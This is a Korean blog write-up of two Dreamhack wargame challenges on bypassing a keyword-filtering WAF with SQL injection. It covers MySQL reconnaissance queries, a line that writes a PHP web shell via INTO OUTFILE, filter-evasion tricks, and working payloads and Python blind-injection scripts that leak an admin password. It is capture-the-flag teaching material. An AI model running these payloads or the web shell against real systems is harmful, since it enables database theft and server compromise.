security/웹해킹

[Dreamhack Wargame] SQL Injection Bypass WAF 1, 2

민사민서 2023. 7. 15. 16:12

시스템/DB 정보 획득 방법 (MySQL)

- 데이터베이스 모습 확인

// 초기 DB = information_schema, mysql, performance_schema, sys

// DB와 schema가 동일함

mysql> show databases;
/*
+--------------------+
| Database           |
+--------------------+
| information_schema |
| DREAMHACK          | # 이용자 정의 데이터베이스
| mysql              |
| performance_schema |
| sys                |
+--------------------+
*/

- 스키마, 테이블, 컬럼 정보 확인하기

mysql> select TABLE_SCHEMA from information_schema.tables
mysql> select TABLE_SCHEMA, TABLE_NAME from information_schema.TABLES;
mysql> select TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME from information_schema.COLUMNS;
/*
+--------------------+----------------+--------------------+
| TABLE_SCHEMA       | TABLE_NAME     | COLUMN_NAME        |
+--------------------+----------------+--------------------+
| information_schema | CHARACTER_SETS | CHARACTER_SET_NAME |
...
| DREAMHACK          | users          | uid                |
| DREAMHACK          | users          | upw                |
...
| mysql              | db             | Db                 |
| mysql              | db             | User               |
...
+--------------------+----------------+--------------------+
3132 rows in set (0.07 sec)
*/

 

 

- MySQL 버전 확인

mysql> select @@version; # 혹은 select version();
+-------------------------+
| @@version               |
+-------------------------+
| 5.7.29-0ubuntu0.16.04.1 |
+-------------------------+
1 row in set (0.00 sec)

// 이정도만 알아도 black box 상태의 SQL Injection에서 DB 정보를 파악할 수 있을듯

 

Out of DBMS (MySQL)

- secure_file_priv는 load_file 혹은 outfile을 이용해 파일에 접근 시 접근할 수 있는 경로에 대한 정보 담고 있음

- secure_file_priv = ""이면 모든 경로에 접근 가능, 기본적으로 /var/lib/mysql-files/

mysql> select @@secure_file_priv;
+-----------------------+
| @@secure_file_priv    |
+-----------------------+
| /var/lib/mysql-files/ |
+-----------------------+

- load_file 함수는 인자로 전달된 파일 읽고 출력 가능

mysql> select load_file('/var/lib/mysql-files/test');
+----------------------------------------+
| load_file('/var/lib/mysql-files/test') |
+----------------------------------------+
| test1234                               |
+----------------------------------------+

- SELECT ... INTO 와 outfile 을 통해 쿼리 결과를 파일에 쓸 수 있음

mysql> select '<?=`ls`?>' into outfile '/tmp/a.php';
/* <?php include $_GET['page'].'.php'; 이런 웹쉘을 작성해도 되겠지 */

 

Bypass WAF(Web Application Firewall)

- 대소문자를 이용

UnIoN SeLecT 1,2,3

 

- '' 치환을 이용

UNunionION SELselectECT 1,2 --

- 문자열 조작 함수 이용: concat, reverse, char

SELECT reverse('nimda'), concat('adm','in'), char(0x61, 0x62);

- 진법을 이용 // 순서대로 'ab', 'ab', 'admin', 'admin'

SELECT 0x6162, 0b110000101100010, x'61646d696e', 0x61646d696e;

- and/or 대신 연산자 이용

select * from user where uid='a' || uid='admin' && substr(upw,1,1)='A';

- 공백 우회 = TAB(%09) 이용, 줄바꿈문자(%0a) 이용, 주석(/**/) 이용, 괄호 이용, 더하기(+) 이용, 백틱 이용

select/**/'abc';
select`username`,(password)from`users`WHERE`username`='admin';
select%09*%09from%9users;

 

cf) CHAR(255)와 같은 고정형 문자열의 경우 데이터 담기고 남은 공간을 공백 문자로 채움 ('a' = 'a     ')

 

SQL Injection bypass WAF 풀이

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False
    
# 쿼리문
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])

 

- 대소문자 우회 가능

- substr 함수를 써서 한 글자씩 leak 가능

대소문자를 구분하지 않아 'd' 와 'D' 모두 결과가 리턴된

- 공백 우회는 TAB으로 가능

 

풀이 1 = 리턴되는 행의 두 번째 컬럼에 admin에 upw를 집어넣는다

a'%09UNION%09SELECT%091,(SELECT%09upw%09FROM%09user%09WHERE%09uid='ADMIN'),1;--

* 공백은 %09로 우회, 키워드는 대문자로 우회, 컬럼수 3으로 맞추고 서브쿼리 이용\

 

풀이 2 = 한글자씩 leak하여 플래그를 구함 (플래그가 숫자, 소문자 영문으로만 이루어졌다고 가정)

import requests, string

url = "http://host3.dreamhack.games:10771/?uid="
charset = string.ascii_lowercase + string.digits + '}'
flag = 'DH{'

while True:
    for ch in charset:
        payload = "ADMIN'%26%26`upw`like'{flag}%25".format(flag=flag+ch)
        if "<pre>admin</pre>" in requests.get(url+payload).text:
            flag += ch
            print(flag)
            break
    if flag[-1]=='}':
        break

python requests 모듈 이용해서 보낼 때 & 와 % 는 이미 URL에서 특수한 의미로 쓰이므로 URL 인코딩해서 보내야 한다

 

SQL Injection bypass WAF advanced 풀이

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/', 
            '\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data.lower():
            return True

    return False

- 대소문자 우회 불가능, 따라서 union/select 문법 사용하지 못함 (첫번째 쿼리에서 해결해야 한다)

- 공백 필터링이 더 빡세졌음

 

- and/or 은 &&, ||로 우회하고 admin은 concat 을 이용해 우회한다

이렇게 한 글자씩 비교

import requests, string

url = "http://host3.dreamhack.games:20053/?uid="

charset = string.ascii_lowercase + string.digits + '}'

flag = 'DH{'

idx = 4
while True:
    for ch in charset:
        payload = "'||uid=concat('ad','min')%26%26substr(upw,{idx},1)='{ch}';%23".format(idx=idx, ch=ch)
        if "<pre>admin</pre>" in requests.get(url+payload).text:
            flag += ch
            idx += 1
            print(flag)
            break
    if flag[-1]=='}':
        break